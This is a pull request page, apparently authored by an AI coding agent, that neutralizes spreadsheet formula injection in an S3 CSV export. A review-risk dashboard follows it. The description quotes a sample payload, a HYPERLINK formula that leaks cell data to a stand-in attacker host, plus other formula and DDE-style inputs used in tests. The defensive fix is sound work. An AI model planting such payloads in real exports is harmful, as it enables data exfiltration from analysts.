← Back to Pull requests

Neutralize spreadsheet formulas and quote all cells in the S3 CSV export #140

Open
unknown opened this pull request with 438 lines diff across 5 files
View on GitHub
unknown unknown commented on Nov 06, 2026 19:24 UTC
Author

Summary

Fixes code scan finding sfind-845b0055fdb44b12932b4b0762b0cead (low, CSV/formula injection). df_to_s3 (src/load_data_to_s3.py) wrote free-text DB columns (buyer_name, dealership_name, model, region, service_type) straight into vehicle_sales_deduped.csv. A value like =HYPERLINK("http://evil.example/?"&A2&B2,"View record") became a live formula when an analyst opened the export in Excel.

FORMULA_PREFIXES = ("=", "+", "-", "@", "\t", "\r")
neutralize_csv_formulas(df)   # copy; str cells starting with a prefix -> "'" + value
                              # numbers / dates / NaN untouched, input df not mutated
safe_df.to_csv(buf, index=False, lineterminator="\r\n", quoting=csv.QUOTE_ALL)

  • quoting=csv.QUOTE_ALL (as the finding recommends) + CRLF: every cell is quoted, so embedded CR/LF can't start a new row that begins with an unescaped formula ("Dana\r=2+2" stays one cell).

  • Format change for consumers of the S3 file: every cell is now quoted, lines end in CRLF, and formula-leading text cells carry a leading '. pandas.read_csv / csv / spreadsheets read this normally; programmatic consumers that need the original value must strip the leading '. df_to_s3 signature is unchanged.

  • Duplicate: this re-applies #118 (sfind-bbf3d907, same 2 commits cherry-picked) plus one commit adding QUOTE_ALL. Only one of #118 / this PR should land.
  • Testing

  • pytest tests/test_load_data_to_s3.py: 15 passed on this branch; same file on main: 12 failed. Includes the finding's check: buyer_name="=1+1" uploads as "'=1+1".

  • End-to-end: postgres:15 seeded from init/init.sql plus malicious rows → real main.py with boto3 put_object captured:
  • | | main | this branch |
    |---|---|---|
    | rows uploaded | 7 | 7 |
    | formula cells (RFC 4180 parse) | 6 (=HYPERLINK(...), =1+1, @SUM(...)cmd\|..., +1+1, -2+3, \t=33) | 0 |
    | formula cells (CR-as-newline reader) | 6 | 0 |

  • Not tested: opening the file in real Excel/LibreOffice (neither is on the VM) and a real S3 upload (dummy AWS creds).
  • Devin-Org: engineering

    Link to Devin session: https://devin-gtm.devinenterprise.com/sessions/ef907187ab5b414cb57dde1a54f2f201
    Open in Devin Desktop: https://devin-gtm.devinenterprise.com/desktop/session/ef907187ab5b414cb57dde1a54f2f201?variant=devin
    <!-- devin-review-badge-staging-begin -->

    ---

    Devin Review


    | Status | Commit |
    |---|---|
    | ⚪ Not started | — |

    Run Devin Review

    Enable auto-review to review your pull requests automatically.

    <a href="https://staging.itsdev.in/review/cog-gtm/etl-pipeline/pull/140" target="_blank"><picture><source media="(prefers-color-scheme: dark)" srcset="https://static.devin.ai/assets/gh-devin-review-staging-dark.svg?v=4"><img src="https://static.devin.ai/assets/gh-devin-review-staging-light.svg?v=4" alt="Devin Review (Staging)"></picture></a>
    <!-- devin-review-badge-staging-end -->
    <!-- devin-review-badge-begin -->

    ---

    <a href="https://devin-gtm.devinenterprise.com/review/cog-gtm/etl-pipeline/pull/140" target="_blank"><picture><source media="(prefers-color-scheme: dark)" srcset="https://static.devin.ai/assets/gh-devin-review-dark.svg?v=4"><img src="https://static.devin.ai/assets/gh-devin-review-light.svg?v=4" alt="Devin Review"></picture></a>
    <!-- devin-review-badge-end -->

    Diff: 438 lines (+328 / -110) across 5 files Reviewer: devin-ai-integration[bot] Review duration: 22m
    All Vouch review confidence checks passed
    Residual risk 0.24 = Change Risk (0.45) × (1 − Review Confidence (0.47)). Review depth and reviewer attention state are adequate.
    Model 1 · Change Risk (XGBoost)
    Score: 0.45 · 438 lines diff across 5 files
    0.45
    Model 2 · Review Depth (DistilBERT)
    Depth Score: 0.02 · 1 substantive comment(s)
    0.02
    Model 3 · Review Timing & Attention
    Session adequacy: 100% · Reviewer familiarity: 35%
    46%
    Bedrock Claude 3 · Risk Narration
    (disconnected)
    Groq
    Groq Risk Narration
    AWS Bedrock is currently disconnected. Generate high-confidence PR triage narration on-demand using Groq.
    Model 1 · Change Risk Attribution
    SHAP Weights
    Diff Size diff_size
    0.364
    Shallow Review Depth shallow_review_depth
    0.344
    Real PR Conversation Timeline
    1 comments
    "Review active on #140"
    general weight: 0.35
    Assignees
    Unassigned
    Labels
    risk: low confidence: 46.7% reviewed
    Vouch Risk Breakdown
    AI-powered review risk analysis
    Change Risk
    Change Risk · Model 1 (XGBoost)
    Predicted defect probability (0.00–1.00) based on diff churn, modified sensitive files, and author risk history.
    Score: 45.3% (MEDIUM) · Higher = larger blast radius
    45.3%
    Review Confidence
    Review Confidence · Models 2 & 3
    Scrutiny score (0.00–1.00) combining DistilBERT semantic review depth with reviewer familiarity and session dwell time.
    Score: 46.7% · Lower = rushed or shallow review
    46.7%
    Residual Risk
    Residual Risk · Core Equation
    Residual = Change × (1 − Confidence)
    Unmitigated risk surviving review. ≥ 0.65 triggers an automated re-queue to protect production.
    Score: 24.1% · Safe to merge
    24.1%